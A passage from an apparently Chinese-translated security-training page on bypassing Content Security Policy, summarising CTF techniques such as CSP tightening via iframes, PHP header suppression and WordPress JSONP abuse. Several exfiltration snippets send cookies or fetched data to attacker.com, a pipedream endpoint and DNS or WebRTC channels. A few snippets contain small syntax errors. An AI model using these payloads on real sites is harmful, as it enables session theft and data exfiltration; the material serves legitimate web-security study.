在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本以加载任意脚本**。
|
||
|
||
您可以使用**`csp`**属性**限制iframe的CSP**:
|
||
```html
|
||
<iframe
|
||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||
```
|
||
在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**,从而禁用防止CSTI的脚本,因此**漏洞变得可利用。**\
|
||
可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本,并通过sha**启用特定的内联脚本:
|
||
```html
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src 'self'
|
||
'unsafe-eval' 'strict-dynamic'
|
||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||
```
|
||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||
|
||
如果你能够使服务器响应带有 **`Content-Security-Policy-Report-Only`** 头部且 **值由你控制**(可能是因为 CRLF),你可以使其指向你的服务器,并且如果你 **将** 你想要泄露的 **JS 内容** 包裹在 **`<script>`** 中,并且因为 CSP 很可能不允许 `unsafe-inline`,这将 **触发 CSP 错误**,并且部分脚本(包含敏感信息)将从 `Content-Security-Policy-Report-Only` 发送到服务器。
|
||
|
||
对于示例 [**查看这个 CTF 写作**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
||
|
||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||
```javascript
|
||
document.querySelector("DIV").innerHTML =
|
||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||
```
|
||
### 利用CSP和Iframe泄露信息
|
||
|
||
- 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||
- 该URL随后重定向到一个秘密URL(例如,`https://usersecret.example2.com`),该URL在CSP中**不被允许**。
|
||
- 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。
|
||
|
||
有趣的是,像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同,可能导致由于未定义行为而泄露敏感信息。
|
||
|
||
另一种技术涉及利用CSP本身推断秘密子域。该方法依赖于二分搜索算法,并调整CSP以包含故意被阻止的特定域。例如,如果秘密子域由未知字符组成,可以通过修改CSP指令来阻止或允许这些子域,逐步测试不同的子域。以下是一个片段,展示了如何设置CSP以促进此方法:
|
||
```markdown
|
||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||
```
|
||
通过监控CSP阻止或允许的请求,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||
|
||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。
|
||
|
||
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
|
||
|
||
## 绕过CSP的危险技术
|
||
|
||
### 当参数过多时的PHP错误
|
||
|
||
根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
|
||
|
||
### PHP响应缓冲区溢出
|
||
|
||
PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\
|
||
然后,这种技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||
|
||
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
|
||
|
||
### 重写错误页面
|
||
|
||
根据[**这个写作**](https://blog.ssrf.kr/69),似乎可以通过加载一个错误页面(可能没有CSP)并重写其内容来绕过CSP保护。
|
||
```javascript
|
||
a = window.open("/" + "x".repeat(4100))
|
||
setTimeout(function () {
|
||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
|
||
}, 1000)
|
||
```
|
||
### SOME + 'self' + wordpress
|
||
|
||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用****同一源的其他端点。** 这通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||
{{#endref}}
|
||
|
||
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**发送的**数据**(仅限字母、数字和点)。
|
||
|
||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
|
||
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||
|
||
## CSP Exfiltration Bypasses
|
||
|
||
如果存在严格的CSP,不允许您**与外部服务器交互**,您始终可以做一些事情来提取信息。
|
||
|
||
### Location
|
||
|
||
您可以仅更新位置以将秘密信息发送到攻击者的服务器:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
document.location = "https://attacker.com/?" + sessionid
|
||
```
|
||
### Meta tag
|
||
|
||
您可以通过注入 meta 标签进行重定向(这只是重定向,不会泄露内容)
|
||
```html
|
||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||
```
|
||
### DNS Prefetch
|
||
|
||
为了更快地加载页面,浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\
|
||
您可以通过以下方式指示浏览器预解析主机名:`<link rel="dns-prefetch" href="something.com">`
|
||
|
||
您可以利用这种行为来**通过DNS请求外泄敏感信息**:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
var body = document.getElementsByTagName("body")[0]
|
||
body.innerHTML =
|
||
body.innerHTML +
|
||
'<link rel="dns-prefetch" href="//' +
|
||
sessionid +
|
||
'attacker.ch">'
|
||
```
|
||
另一种方法:
|
||
```javascript
|
||
const linkEl = document.createElement("link")
|
||
linkEl.rel = "prefetch"
|
||
linkEl.href = urlWithYourPreciousData
|
||
document.head.appendChild(linkEl)
|
||
```
|
||
为了避免这种情况,服务器可以发送 HTTP 头:
|
||
```
|
||
X-DNS-Prefetch-Control: off
|
||
```
|
||
> [!NOTE]
|
||
> 显然,这种技术在无头浏览器(机器人)中不起作用。
|
||
|
||
### WebRTC
|
||
|
||
在几个页面上,你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||
|
||
实际上,你可以通过_ DNS请求_来_泄露_信息。查看这段代码:
|
||
```javascript
|
||
;(async () => {
|
||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||
p.createDataChannel("")
|
||
p.setLocalDescription(await p.createOffer())
|
||
})()
|
||
```
|
||
另一个选项:
|
||
```javascript
|
||
var pc = new RTCPeerConnection({
|
||
"iceServers":[
|
||
{"urls":[
|
||
"turn:74.125.140.127:19305?transport=udp"
|
||
],"username":"_all_your_data_belongs_to_us",
|
||
"credential":"."
|
||
}]
|
||
});
|
||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||
```
|
||
### CredentialsContainer
|
||
|
||
凭证弹出窗口向 iconURL 发送 DNS 请求,而不受页面的限制。它仅在安全上下文(HTTPS)或本地主机上工作。
|
||
```javascript
|
||
navigator.credentials.store(
|
||
new FederatedCredential({
|
||
id:"satoki",
|
||
name:"satoki",
|
||
provider:"https:"+your_data+"example.com",
|
||
iconURL:"https:"+your_data+"example.com"
|
||
})
|
||
)
|
||
```
|
||
## 在线检查 CSP 策略
|
||
|
||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||
|
||
## 自动创建 CSP
|
||
|
||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||
|
||
## 参考文献
|
||
|
||
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
|
||
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
||
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|